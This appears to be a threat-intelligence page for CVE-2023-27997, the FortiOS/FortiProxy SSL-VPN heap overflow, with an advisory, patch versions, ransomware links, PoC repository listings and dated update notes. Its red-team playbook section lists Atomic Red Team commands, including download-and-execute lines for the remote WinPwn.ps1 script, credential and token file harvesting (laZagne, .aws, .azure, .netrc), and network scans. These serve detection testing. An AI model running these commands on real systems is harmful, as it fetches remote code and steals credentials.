CVE-2023-27997
Overview
This vulnerability is a heap-based buffer overflow caused by improper bounds checking in the SSL-VPN component of Fortinet FortiOS and FortiProxy products. Specifically, crafted requests trigger memory corruption in the SSL-VPN processing logic, leading to overwriting of heap memory. The flaw affects multiple FortiOS versions including 7.2.4 and below, 7.0.11 and below, 6.4.12 and below, 6.0.16 and below, as well as FortiProxy versions 7.2.3 and below, 7.0.9 and below, 2.0.12 and below, 1.2 all versions, and 1.1 all versions.
Vulnerability Description
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS version 7.2.4 and below, version 7.0.11 and below, version 6.4.12 and below, version 6.0.16 and below and FortiProxy version 7.2.3 and below, version 7.0.9 and below, version 2.0.12 and below, version 1.2 all versions, version 1.1 all versions SSL-VPN may allow a remote attacker to execute arbitrary code or commands via specifically crafted requests.
Impact
An attacker can remotely execute arbitrary code or commands on affected FortiOS and FortiProxy devices without authentication or user interaction. This enables full system compromise, allowing unauthorized control over network security infrastructure. Consequences include potential data breaches, disruption of VPN services, and lateral movement within the victim's network environment, severely impacting organizational security posture.
Solution
Fortinet has released patches addressing this vulnerability in FortiOS versions 7.2.5, 7.0.12, 6.4.13, and 6.0.17, as well as FortiProxy versions 7.2.4, 7.0.10, and 2.0.13. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at https://fortiguard.com/psirt/FG-IR-23-097. No alternative workarounds are provided by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
ransomhub
|
842 | ransomware.live |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A critical heap-based buffer overflow vulnerability has been identified in specific versions of FortiOS and FortiProxy, which are widely used network security products. This type of vulnerability occurs when a program writes more data to a buffer located on the heap than it can hold, potentially leading to memory corruption. In this case, the affected versions include FortiOS versions up to 7.2.4, 7.0.11, 6.4.12, and 6.0.16, as well as FortiProxy versions up to 7.2.3, 7.0.9, and earlier iterations. The flaw allows an attacker to craft specific requests that can exploit this buffer overflow, leading to the execution of arbitrary code or commands on the affected systems.
The attack vectors for this vulnerability are particularly concerning due to the remote nature of the exploitation. An attacker could leverage this flaw by sending specially crafted requests over the network, targeting devices running the vulnerable versions of FortiOS and FortiProxy. This could be done without requiring physical access to the device, making it easier for malicious actors to exploit the vulnerability from anywhere on the internet. Scenarios could include unauthorized access to sensitive data, disruption of services, or even complete system takeover, depending on the privileges of the compromised application.
The real-world impact of this vulnerability is significant, especially for organizations relying on Fortinet products for their security infrastructure. Given the high CVSS score of 9.8, the risk associated with exploitation is classified as critical. Successful exploitation could lead to severe consequences, including data breaches, loss of customer trust, regulatory penalties, and financial losses. Organizations that fail to address this vulnerability may find themselves at a heightened risk of cyberattacks, particularly from threat actors who are actively scanning for vulnerable systems.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First and foremost, updating to the latest patched versions of FortiOS and FortiProxy is crucial, as this will eliminate the vulnerability at its source. Regular vulnerability assessments and penetration testing should be conducted to identify any potential weaknesses in the network. Additionally, organizations should employ intrusion detection and prevention systems (IDPS) to monitor for unusual traffic patterns that may indicate an attempted exploitation. Implementing strict access controls and network segmentation can further reduce the attack surface and limit the potential impact of any successful exploitation.
In conclusion, the heap-based buffer overflow vulnerability in FortiOS and FortiProxy presents a serious threat to organizations that utilize these products. The ability for remote attackers to execute arbitrary code underscores the need for immediate action to patch affected systems. By adopting a proactive security posture that includes timely updates, continuous monitoring, and robust access controls, organizations can significantly mitigate the risks associated with this vulnerability and protect their critical assets from potential exploitation.
Recent developments indicate a slight adjustment in the CVSS score for CVE-2023-27997, lowering it from 9.8 to 9.2, reflecting a refined understanding of the vulnerability’s impact and exploitability. Despite this marginal decrease, the exploit landscape has notably expanded, with several new proof-of-concept tools emerging in the public domain. CSURFACE threat intelligence has detected a steady presence of these tools, facilitating easier identification and exploitation of vulnerable FortiOS and FortiProxy SSL-VPN instances. Our telemetry also confirms ongoing ransomware activity linked to this vulnerability, reinforcing its operational use by threat actors. Although the EPSS score shows a negligible decline, the 7-day trend indicates a slight upward movement in exploitation attempts, underscoring persistent adversary interest. These factors collectively sustain the vulnerability’s critical threat level, emphasizing that defenders must remain vigilant as exploitation avenues broaden and ransomware groups continue to leverage this weakness in their campaigns.
Update 2 — July 04, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-27997, accompanied by an upward revision of the CVSS score to 9.8, reflecting an increased potential for remote code execution and system compromise. This heightened activity correlates with the emergence of additional proof-of-concept exploits publicly available on GitHub, which lowers the barrier for threat actors to weaponize the vulnerability. Notably, ransomware groups continue to integrate this exploit into their campaigns, sustaining its operational relevance and amplifying the risk to vulnerable FortiOS and FortiProxy SSL-VPN deployments. The combination of intensified exploitation signals and expanded exploit tooling underscores a critical threat environment, necessitating elevated vigilance from defenders. Consequently, the risk assessment for this vulnerability has been elevated, affirming its status as a high-priority target for adversaries seeking initial access and lateral movement within enterprise networks.
Update 3 — July 14, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-27997, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge coincides with the emergence of additional publicly available proof-of-concept exploits, broadening the toolkit accessible to threat actors. The sustained integration of this vulnerability into ransomware campaigns remains a critical concern, as adversaries continue leveraging it for initial access and lateral movement within compromised networks. Although the Exploit Prediction Scoring System (EPSS) score remains stable, the qualitative increase in observed activity and expanded exploit resources amplify the operational risk. Consequently, the threat level associated with CVE-2023-27997 has intensified, underscoring its prioritization in defensive postures and threat hunting efforts.
Update 4 — July 23, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-27997, reflected by a significant uptick in detection activity across multiple environments. This surge coincides with the emergence of additional proof-of-concept exploits publicly available on code repositories, broadening the toolkit accessible to threat actors. The increased operational tempo is particularly concerning given the vulnerability’s established use in ransomware campaigns, with known groups intensifying efforts to leverage this flaw for initial access and lateral movement. While the EPSS score remains stable, the qualitative increase in telemetry and expanded exploit resources indicate a heightened exploitation risk. Consequently, the threat level associated with CVE-2023-27997 has intensified, warranting elevated vigilance in monitoring and defensive measures.
Update 5 — August 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-27997, accompanied by the emergence of additional proof-of-concept tools that lower the barrier for adversaries to weaponize this vulnerability. Our telemetry indicates that threat actors, including ransomware groups with established ties to this flaw, are intensifying their operational tempo, leveraging the expanded exploit toolkit to facilitate initial access and lateral movement within compromised networks. This development amplifies the risk profile of CVE-2023-27997 beyond prior assessments, as the broadened availability of exploitation resources correlates with increased attack sophistication and persistence. Although the EPSS score remains stable, the qualitative surge in exploitation activity and the proliferation of publicly accessible exploits underscore a heightened threat environment, necessitating increased vigilance from defenders monitoring FortiOS and FortiProxy deployments.
Affected Products (23)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.0.10 |
cpe:2.3:o:fortinet:fortios:6.0.10:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.2.4 |
cpe:2.3:o:fortinet:fortios:6.2.4:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.2.6 |
cpe:2.3:o:fortinet:fortios:6.2.6:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.2.7 |
cpe:2.3:o:fortinet:fortios:6.2.7:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.4.2 |
cpe:2.3:o:fortinet:fortios:6.4.2:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.4.6 |
cpe:2.3:o:fortinet:fortios:6.4.6:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.4.8 |
cpe:2.3:o:fortinet:fortios:6.4.8:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | 6.4.10 |
cpe:2.3:o:fortinet:fortios:6.4.10:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (13)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
BishopFox/CVE-2023-27997-check
Safely detect whether a FortiGate SSL VPN instance is vulnerable to CVE-2023-27997 based on response timing
|
BishopFox | 135 | 24 | 2023-06-16 | View |
|
lexfo/xortigate-cve-2023-27997
xortigate-cve-2023-27997
|
lexfo | 62 | 13 | 2023-10-12 | View |
|
rio128128/CVE-2023-27997-POC
POC FortiOS SSL-VPN buffer overflow vulnerability
|
rio128128 | 27 | 15 | 2023-06-16 | View |
|
delsploit/CVE-2023-27997
|
delsploit | 9 | 0 | 2023-10-12 | View |
|
TechinsightsPro/ShodanFortiOS
Search vulnerable FortiOS devices via Shodan (CVE-2023-27997)
|
TechinsightsPro | 2 | 2 | 2023-07-11 | View |
|
imbas007/CVE-2023-27997-Check
|
imbas007 | 1 | 2 | 2023-06-22 | View |
|
puckiestyle/cve-2023-27997
|
puckiestyle | 0 | 2 | 2023-06-23 | View |
|
node011/CVE-2023-27997-POC
Fortigate SSL VPN buffer overflow exploit
|
node011 | 0 | 2 | 2024-11-14 | View |
|
onurkerembozkurt/fgt-cve-2023-27997-exploit
FortiGate SSL-VPN CVE-2023-27997 Exploit PoC Script with ROP Chain
|
onurkerembozkurt | 0 | 1 | 2025-04-18 | View |
|
Vampsecure-Labs/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
|
Vampsecure-Labs | 0 | 0 | 2026-07-31 | View |
|
belky-me/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
|
belky-me | 0 | 0 | 2026-07-31 | View |
|
george1-adel/CVE-2023-27997
|
george1-adel | 0 | 0 | 2026-04-06 | View |
|
Cyb3rEnthusiast/CVE-2023-27997
How to get access via CVE-2022-27997
|
Cyb3rEnthusiast | 0 | 0 | 2023-09-03 | View |
Ransomware Groups 1
Threat Feed
29 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27997 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-097 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27997 |